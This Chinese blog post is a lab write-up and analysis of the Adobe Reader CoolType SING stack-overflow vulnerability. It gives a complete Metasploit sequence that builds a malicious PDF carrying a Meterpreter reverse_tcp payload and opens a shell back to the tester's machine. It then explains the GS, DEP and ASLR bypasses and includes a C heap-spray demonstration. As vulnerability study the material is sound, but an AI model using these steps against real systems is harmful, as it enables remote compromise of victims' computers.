请注意,本文编写于 467 天前,最后修改于 467 天前,其中某些信息可能已经过时。
msf > search adobe_cooltype_sing
调用渗透模块
msf > use exploit/windows/fileformat/adobe_cooltype_sing/
调用meterpreter载荷,反向连接到渗透机
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
设置Kali Linux的IP地址
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.65.128
设置本地监听端口
msf exploit(adobe_cooltype_sing) > set LPORT 8888
设置PDF文件名称
msf exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf
生成PDF文件
msf exploit(adobe_cooltype_sing) > exploit
使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置监听IP地址(跟PDF木马文件一致)
msf exploit(handler) > set LHOST 192.168.65.128
设置监听的端口(跟PDF木马文件一致)
msf exploit(handler) > set LPORT 8888
开启监听
msf exploit(handler) > exploit
查看系统信息
meterpreter > sysinfo
补充:使用shift+F1可以使用模板结构体定义,及使用c语言语法定义结构体。
补充2:不同系统的函数调用约定
Linux下x86-64平台,前6个整数或指针参数在寄存器RDI,RSI,RDX,RCX,R8,R9中传递(对于嵌套函数,R10用作静态链指针),与Microsoft x64调用约定中一样,其他参数在堆栈上传递。64位内的整数返回值存储在RAX中,而128位的返回值使用RAX和RDX存储。浮点返回值类似地存储在XMM0和XMM1中。较宽的YMM和ZMM寄存器用于代替XMM传递和返回较宽的值。
Win下x86平台,不同的函数调用规则。
windowsx64平台只使用4个寄存器来保存参数,更多的参数要保存到栈里面以此完成参数的传递。
首先我们先看栈空间的大小,整个函数段,栈内空间大小为104h,而后续将一段没有长度限制的uniqueName变量进行了复制,引发了栈溢出漏洞。
其次我们从漏洞pdf入手,我们可以找到SING索引选项,找到偏移,从偏移处得到真实的UniqueName的数据。
下一步我们进行动态分析,首先我们运行Adobe Reader,使用Ollydbg对进程进行挂载。我们可以观察一下现在的内存空间。我们观察到从0x400000处内存开始加载了Adobe Reader的主程序。
在0x800000处内存加载了CoolType.dll,所以我们可以直接定位dll中SING代码段(使用IDA por就可以直接定位,IDA在加载动态链接库的时候,默认基址是从0x800000开始的)。这里我关闭了windows地址的随机化,如果起始地址不是0x800000,我们可以从静态分析中得到代码段的偏移,然后加上基址得出我们代码所在的代码段。在关键函数处打下断点,方便后续调试。
之后使用软件打开注入了shellcode的PDF文件,在代码段我们发现,由于strcat函数自身的安全缺陷造成了栈溢出。在地址处0x0808B308,此处代码call eax是将eax中的值作为地址进行了跳转。
此时 eax 寄存器的值为 0x12E6D0,也就是栈上的一个地址,此时栈顶为 0x12E2D8。会取 eax 指向的地址的值来作为函数调用。 0x12E6D0 处存放着的值为 0x080833EF ,意味此处代码的跳转会跳到 CoolType.dll 的 0x080833EF 处执行。因此,如果我们在栈溢出时可以覆盖 0x12E6D0 处的值,就可以跳到任意地址去执行 shellcode。后续与静态分析基本一致,样本使用了strcat制造了栈溢出漏洞,覆盖了上述地址,并且通过覆盖函数指针来绕过了GS保护, ROP 技术绕过了DEP 保护,使用了Heap Spray堆喷绕过了ALSR 。覆盖指针和ROP技术PWN中经常使用,但是Heap Spray堆喷技术我是第一次听说,所以我们后边着重的研究了一下堆喷射技术。
Heap Spray技术是由传统slide code(滑板指令)+shellcode组成的,其工作原理是通过申请巨大的内存空间(常见200MB),使用若干滑板指令和shellcode对内存进行填充。协同其他漏洞(如栈溢出漏洞)劫持程序执行流,从而命中滑板指令(ps:滑板指令一般为NOP等没有实际作用的指令),之后程序会顺着滑板指令划过内存,最终命中shellcode,实现shellcode的执行。
这里参考着大佬的例程过一遍堆喷设,参考例程。
#include <windows.h>
#include <stdio.h>
class base
{
char m_buf[8];
public:
virtual int baseInit1()
{
printf("%s\n","baseInit1");
return 0;
}
virtual int baseInit2()
{
printf("%s\n","baseInit2");
return 0;
}
};
int main()
{
unsigned int bufLen = 200*1024*1024;
base* baseObj = new base;
char buff[8] = {0};
char* spray = new char[bufLen];
printf("%p\n",&spray);
printf("%p\n",&buff);
printf("%p\n",&baseObj);
memset(spray,0x0c,sizeof(char)*bufLen);
memset(spray+bufLen-0x10,0xcc,0x10);
strcpy(buff,"12345678\x0c\x0c\x0c\x0c");
baseObj->baseInit1();
return 0;
}
首先我们定义一个类,在类中包含一个char型数组8个字符,和两个虚函数。在主函数中,我们new一个名为baseObj的base对象,因为是new的缘故,所以对象主体部分在内存中,函数栈内只存在一个对象指针。之后初始化一个buff字符串数组,由于这个数组是局部变量,所以此变量存放在栈中,这个变量为后续栈溢出提供溢出点。之后申请一个200MB的内存空间,此时内存空间的指针会被保存在栈中。在初始化变量后,函数栈内结构如下。
这里补充一下关于结构体的知识,对于一个存在虚函数的结构体,程序会为此结构体建立一张虚函数表,而在虚函数表中存放的则是虚函数的代码段地址。
就如同中断向量表使用的方法一样,再调用函数的时候,程序会在栈中寻找到结构体的指针,从而获得vptr指针,接着顺着vptr指针找到vtbl虚函数表所存储的位置,根据偏移取得对应被调用的虚函数,顺着地址执行虚函数。
本例子的思路则是,通过栈溢出修改存放在栈中的结构体指针,程序进程流劫持到内存地址0x0c0c0c0c,由于我们之前申请了大片内存空间(200MB),并将向内存中填充了滑板指令。
之后在访问结构体成员函数时,程序就会将地址0x0c0c0c0c作为结构体指针,而0x0c0c0c0c指向的地址为为0x0c0c0c0c,程序会继续将该地址作为虚表进行查询,最终将运行0x0c0c0c0c处的代码。由于代码是我们构建出的滑板指令,程序就会跟着内存区域向下滑,直至shellcode处。
补充:结构体与虚函数表的动态调试
我们可以顺着栈内指针找到结构体在内存中被保存的位置即vptr指针。
随后我们可以跟随该指针找到虚表所存放的内存地址,即vtbl虚函数表,虚函数表指向的即为虚函数代码。
在新版本的Adobe Reader中,官方采取了字符串长度检测以避免栈溢出的问题。
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!